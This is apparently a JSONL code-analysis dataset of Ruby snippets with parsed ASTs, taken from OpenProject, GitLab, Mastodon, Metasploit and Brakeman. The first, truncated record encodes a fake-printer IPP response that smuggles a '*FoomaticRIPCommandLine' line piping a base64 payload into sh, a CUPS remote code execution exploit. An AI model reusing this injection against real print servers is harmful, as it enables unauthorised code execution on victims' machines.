l,\"TagEnum\"]},\"CHARSET\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"utf-8\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SectionEnum\"]},\"PRINTER\"]},{\"type\":\"str\",\"children\":[\"compression-supported\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagEnum\"]},\"KEYWORD\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"none\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SectionEnum\"]},\"PRINTER\"]},{\"type\":\"str\",\"children\":[\"document-format-default\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagEnum\"]},\"MIME_MEDIA_TYPE\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"application/pdf\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SectionEnum\"]},\"PRINTER\"]},{\"type\":\"str\",\"children\":[\"document-format-supported\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagEnum\"]},\"MIME_MEDIA_TYPE\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"application/pdf\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SectionEnum\"]},\"PRINTER\"]},{\"type\":\"str\",\"children\":[\"generated-natural-language-supported\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagEnum\"]},\"NATURAL_LANGUAGE\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"en\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SectionEnum\"]},\"PRINTER\"]},{\"type\":\"str\",\"children\":[\"ipp-versions-supported\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagEnum\"]},\"KEYWORD\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"1.1\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SectionEnum\"]},\"PRINTER\"]},{\"type\":\"str\",\"children\":[\"media-default\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagEnum\"]},\"KEYWORD\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"iso_a4_210x297mm\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SectionEnum\"]},\"PRINTER\"]},{\"type\":\"str\",\"children\":[\"media-supported\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagEnum\"]},\"KEYWORD\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"iso_a4_210x297mm\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SectionEnum\"]},\"PRINTER\"]},{\"type\":\"str\",\"children\":[\"media-type\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagEnum\"]},\"KEYWORD\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"stationery\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"enc_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SectionEnum\"]},\"PRINTER\"]},{\"type\":\"str\",\"children\":[\"media-type-supported\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagEnum\"]},\"KEYWORD\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"stationery\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\": HAX\\n*FoomaticRIPCommandLine: echo -n \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enc_payload\"]}]},{\"type\":\"str\",\"children\":[\"|base64 -d|sh;#\\n*cupsFilter2: \\\"application/vnd.cups-pdf application/pdf 0 foomatic-rip\\\"\\n*%\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SectionEnum\"]},\"PRINTER\"]},{\"type\":\"str\",\"children\":[\"natural-language-configured\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagEnum\"]},\"NATURAL_LANGUAGE\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"en\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SectionEnum\"]},\"PRINTER\"]},{\"type\":\"str\",\"children\":[\"document-format-supported\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagEnum\"]},\"ENUM\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OperationEnum\"]},\"PRINT_JOB\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OperationEnum\"]},\"VALIDATE_JOB\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OperationEnum\"]},\"CANCEL_JOB\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OperationEnum\"]},\"GET_JOB_ATTRIBUTES\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OperationEnum\"]},\"GET_PRINTER_ATTRIBUTES\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SectionEnum\"]},\"PRINTER\"]},{\"type\":\"str\",\"children\":[\"pdl-override-supported\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagEnum\"]},\"KEYWORD\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"not-attempted\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SectionEnum\"]},\"PRINTER\"]},{\"type\":\"str\",\"children\":[\"printer-info\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagEnum\"]},\"TEXT_WITHOUT_LANGUAGE\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Printer\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SectionEnum\"]},\"PRINTER\"]},{\"type\":\"str\",\"children\":[\"printer-make-and-model\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagEnum\"]},\"TEXT_WITHOUT_LANGUAGE\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Printer 1.00\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SectionEnum\"]},\"PRINTER\"]},{\"type\":\"str\",\"children\":[\"printer-name\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagEnum\"]},\"NAME_WITHOUT_LANGUAGE\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Printer\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SectionEnum\"]},\"PRINTER\"]},{\"type\":\"str\",\"children\":[\"printer-state\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagEnum\"]},\"ENUM\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JobStateEnum\"]},\"PENDING\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SectionEnum\"]},\"PRINTER\"]},{\"type\":\"str\",\"children\":[\"printer-state-reasons\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagEnum\"]},\"KEYWORD\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"none\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SectionEnum\"]},\"PRINTER\"]},{\"type\":\"str\",\"children\":[\"pdl-override-supported\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagEnum\"]},\"INTEGER\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_i\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SectionEnum\"]},\"PRINTER\"]},{\"type\":\"str\",\"children\":[\"printer-uri-supported\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagEnum\"]},\"URI\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ipp://localhost:631/printer\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SectionEnum\"]},\"PRINTER\"]},{\"type\":\"str\",\"children\":[\"uri-authentication-supported\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagEnum\"]},\"KEYWORD\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"none\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SectionEnum\"]},\"PRINTER\"]},{\"type\":\"str\",\"children\":[\"uri-security-supported\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagEnum\"]},\"KEYWORD\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"none\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version_major\"]},{\"type\":\"lvar\",\"children\":[\"version_minor\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C*\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request_id\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"group_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"_v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"section\"]},{\"type\":\"arg\",\"children\":[\"attrs_in_section\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs_in_section\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"values\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_section\"]},{\"type\":\"lvasgn\",\"children\":[\"name\"]},{\"type\":\"lvasgn\",\"children\":[\"tag\"]}]},{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Integer\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[4]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SectionEnum\"]},\"ENDTAG\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C\"]}]}]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}","id":"acd90edd-7908-4314-b43b-a3742d78e0ac"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/grids/app/contracts/grids/base_contract.rb","start_line":131,"raw_source":"def run_registration_validations\n      validations = config.validations(model, self.class.name.demodulize.gsub(\"Contract\", \"\").underscore.to_sym)\n\n      validations.each do |validation|\n        instance_eval(&validation)\n      end\n    end","complexity_score":23.4,"ast_json":"{\"type\":\"def\",\"children\":[\"run_registration_validations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"validations\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"validations\",{\"type\":\"send\",\"children\":[null,\"model\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]},\"demodulize\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"Contract\"]},{\"type\":\"str\",\"children\":[\"\"]}]},\"underscore\"]},\"to_sym\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"validations\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"validation\"]}]},{\"type\":\"send\",\"children\":[null,\"instance_eval\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"validation\"]}]}]}]}]}]}","id":"546114d2-c3e8-4d61-b711-b5b8db024582"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/uploaders/object_storage.rb","start_line":83,"raw_source":"def retrieve_from_store!(identifier)\n        paths = upload_paths(identifier)\n\n        unless current_upload_satisfies?(paths, model)\n          # the upload we already have isn't right, find the correct one\n          self.upload = model&.retrieve_upload(identifier, paths)\n        end\n\n        super\n      end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"retrieve_from_store!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"identifier\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"paths\",{\"type\":\"send\",\"children\":[null,\"upload_paths\",{\"type\":\"lvar\",\"children\":[\"identifier\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_upload_satisfies?\",{\"type\":\"lvar\",\"children\":[\"paths\"]},{\"type\":\"send\",\"children\":[null,\"model\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"upload=\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"retrieve_upload\",{\"type\":\"lvar\",\"children\":[\"identifier\"]},{\"type\":\"lvar\",\"children\":[\"paths\"]}]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"04223e9d-0ffd-4f8a-afa7-9cd19af016f5"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/placeholder_users/scopes/visible.rb","start_line":42,"raw_source":"def visible(user = User.current)\n        if user.allowed_globally?(:manage_placeholder_user) ||\n           user.allowed_in_any_project?(:manage_members) ||\n           user.allowed_globally?(:view_all_principals)\n          all\n        else\n          in_visible_project_or_me_or_same_groups(user)\n        end\n      end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"visible\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"allowed_globally?\",{\"type\":\"sym\",\"children\":[\"manage_placeholder_user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"allowed_in_any_project?\",{\"type\":\"sym\",\"children\":[\"manage_members\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"allowed_globally?\",{\"type\":\"sym\",\"children\":[\"view_all_principals\"]}]}]},{\"type\":\"send\",\"children\":[null,\"all\"]},{\"type\":\"send\",\"children\":[null,\"in_visible_project_or_me_or_same_groups\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}","id":"2c339aeb-cbfe-4698-8195-aa586f076063"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/dev/find_release_notes.rb","start_line":78,"raw_source":"def get_release_notes(input)\n      release_notes.each do |n|\n        if n[:pull_requests].empty?\n          update_release_notes_entry(n)\n        end\n\n        input_type = guess_input_type(input)\n\n        case input_type\n        when :pr\n          m = get_release_notes_from_pr(n, input)\n        when :module_name\n          m = get_release_notes_from_module_name(n, input)\n        end\n\n        return m if m\n      end\n\n      nil\n    end","complexity_score":21.3,"ast_json":"{\"type\":\"def\",\"children\":[\"get_release_notes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"release_notes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pull_requests\"]}]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"update_release_notes_entry\",{\"type\":\"lvar\",\"children\":[\"n\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"input_type\",{\"type\":\"send\",\"children\":[null,\"guess_input_type\",{\"type\":\"lvar\",\"children\":[\"input\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input_type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"pr\"]},{\"type\":\"lvasgn\",\"children\":[\"m\",{\"type\":\"send\",\"children\":[null,\"get_release_notes_from_pr\",{\"type\":\"lvar\",\"children\":[\"n\"]},{\"type\":\"lvar\",\"children\":[\"input\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_name\"]},{\"type\":\"lvasgn\",\"children\":[\"m\",{\"type\":\"send\",\"children\":[null,\"get_release_notes_from_module_name\",{\"type\":\"lvar\",\"children\":[\"n\"]},{\"type\":\"lvar\",\"children\":[\"input\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]}]},null]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"981621e1-981b-4a55-8c6d-0ffd67da394f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/post_migrate/20250520192024_remove_legacy_devise_two_factor_secrets_from_users.rb","start_line":4,"raw_source":"def change\n    safety_assured do\n      remove_column :users, :encrypted_otp_secret, :string\n      remove_column :users, :encrypted_otp_secret_iv, :string\n      remove_column :users, :encrypted_otp_secret_salt, :string\n    end\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"sym\",\"children\":[\"encrypted_otp_secret\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"sym\",\"children\":[\"encrypted_otp_secret_iv\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"sym\",\"children\":[\"encrypted_otp_secret_salt\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]}]}]}]}","id":"6e93537f-a512-4658-a218-e56173ba7be0"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20181026034033_remove_faux_remote_account_duplicates.rb","start_line":46,"raw_source":"def up\n    local_domain = Rails.configuration.x.local_domain\n\n    # Just a safety measure to ensure that under no circumstance\n    # we will query `domain IS NULL` because that would return\n    # actually local accounts, the originals\n    return if local_domain.nil?\n\n    Account.where(domain: local_domain).in_batches.destroy_all\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"local_domain\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"configuration\"]},\"x\"]},\"local_domain\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"local_domain\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"lvar\",\"children\":[\"local_domain\"]}]}]}]},\"in_batches\"]},\"destroy_all\"]}]}]}","id":"7dfe3dd8-a6ce-41be-983e-8856edeb26c2"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/report/report_base.rb","start_line":120,"raw_source":"def number_of_templates tracker\n    Set.new(tracker.templates.map {|k,v| v.name.to_s[/[^.]+/]}).length\n  